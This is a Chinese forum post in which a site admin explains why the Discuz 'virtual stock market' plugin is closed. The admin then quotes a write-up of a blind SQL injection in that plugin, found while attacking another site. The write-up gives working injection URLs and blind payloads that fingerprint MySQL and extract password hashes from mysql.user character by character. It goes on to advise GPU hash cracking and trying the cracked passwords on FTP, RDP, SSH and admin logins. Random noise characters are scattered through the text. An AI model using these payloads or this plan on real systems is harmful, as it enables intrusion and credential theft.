TA的每日心情 | 奋斗 前天 10:28 |
---|
签到天数: 2370 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。; Q- C8 l/ h: ~ N' ]0 Z, n- G+ n- q T: h" {
1 f5 u' W* C8 K( V
我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。
; F2 e- _1 t `% e- w" k5 T. P" z/ W7 V: f) Z0 ^
漏洞如下:
! k. m. x8 D( o" U% l( Q) {& N7 u2 L/ I4 \2 @0 F
Discuz插件《虚拟股市》blind Injection Vul利用 6 L- V3 i0 S3 y) B5 g, j2 y
) h4 K5 o# e# J+ R/ B: H% E
3 D8 h' e0 c0 S5 U/ i漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
8 H( Q; V: O* \3 y$ S1 ]. y6 y经过简单的测试,就发现了《虚拟股市》存在注射漏洞: / \/ I; w4 |/ a2 ^6 b$ J+ \
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 & t1 g8 ]2 G' c: H
http://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数 6 P* M& Y$ u* S0 G
确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 7 U8 t5 T! U+ y n) E4 }0 ]! t
思路有二:
$ D& a( |: f) y# L3 L1.尝试盲注 * C4 Q; [% R4 ]+ I& k. x$ ?9 \# ^: X
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数
. z! k$ W, @1 F9 B. O但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。
, c6 ?+ l9 S, l% P* k. B盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下: 7 t" i' C2 _8 G5 t k
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 , s, q H% K4 F! d1 h. K, L
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5
+ y7 K* Q# `% B. j. A#是否支持子查询(版本为4的情况下) 9 c W( p8 x. _: t( _! J
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1 / ?% u5 p( @; ^9 F2 Z: C
#当前用户是否为root
% Z7 R7 ]) V; |1 W2 M6 N/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1 / K' Y7 L6 _- t5 b9 y
下面就根据情况而异了: / V/ C+ ^9 J6 [1 O w% Y0 A# Z0 Q
1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。
8 W* r: N+ h9 X2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 7 h# f+ L" v) S" P& R6 `
#######取数据
" U4 G6 v# I& K1 D' A#mysql.user表第一行第一个字符的ASCII值是否大于80 ' U( `/ r3 f, M- }( d# }3 P
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80
% `* D% O; C5 N2 c; l V7 x#第二个字符的ASCII值是否大于90
, d- W$ [. D* L Xand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90 / n& S: C8 E5 W7 ~& @
………… : |$ w6 _2 P# x- I; R$ F
就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。
( B# ]( F' q/ g5 {" d密码破解: # U7 X; a9 r- A
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
. Z& V/ b$ }2 r- v1 k2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|